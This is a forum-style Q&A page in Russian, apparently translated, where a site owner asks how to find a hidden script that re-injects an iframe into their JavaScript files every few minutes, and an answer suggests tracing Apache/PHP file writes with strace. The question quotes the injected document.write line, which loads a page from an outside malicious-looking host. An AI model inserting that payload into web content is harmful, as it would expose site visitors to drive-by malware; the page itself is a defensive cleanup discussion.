Назад | Перейти на главную страницу

Пытаюсь найти вредоносное ПО на моем сервере

Возможный дубликат:
Мой сервер был взломан в АВАРИИ

Мой сервер недавно подвергся атаке вредоносного ПО. С тех пор я немного почистил сервер, обновил множество установочных файлов wordpress и файлов timthumb, а также удалил множество старых и заархивированных каталогов. Мой хост (dreamhost) соглашается, что все большие широко открытые зияющие уязвимости закрыты.

Теперь мне просто нужно найти источник вредоносного ПО. Где-то на моем сервере скрипт добавляет вставку iframe во все мои файлы javascript. Это происходит каждые несколько минут. Вот пример инъекции, хотя иногда он меняется:

document.write('<iframe src="http://wbjsb.myddns.com/valcunatrop.cgi?6" scrolling="auto" frameborder="no" align="center" height="11" width="11"></iframe>');

Если я удалю это, он вернется примерно через 5 минут.

Есть какие-нибудь мысли о том, как найти сценарий, который вносит эти изменения? Спасибо!

Если вредоносная программа представляет собой сценарий, который на самом деле выполняется веб-сервером, вы можете попытаться использовать strace чтобы увидеть, какие файлы открываются и / или записываются интерпретатором процесса / сценария веб-сервера на основе выполняемых системных вызовов. Это немного низкоуровнево, но работает. (Это зависит от используемого сервера, языка сценариев и модели разветвления). Вероятно, вы захотите использовать strace в интерпретаторе скриптов (используя, например, php, например php5-fpm если это PHP FPM, apache2 при использовании mod_php5) и может видеть, какие файлы открываются, например для apache2 с mod_php5:

sudo strace -f -e open,close,read,write apache2 -k start | tee /tmp/strace.log

или что-то в этом роде, и изучите журнал. (-f заставляет strace следовать за вилками, если ваш Apache использует prefork MPM; обычно по умолчанию для установки mod_php5, -e open ограничивает вывод только open(2) syscall и друзья). Очевидно, это покажет вам каждый файл, который открывает сервер / PHP, но вы можете сделать некоторые grep магия, чтобы попытаться сузить круг вопросов.

Вероятно, вы могли бы сузить круг вопросов, write(2) системный вызов, который также происходит с grep (используйте -v опция strace, чтобы избежать усечения строк, которые отправляются на write(2)).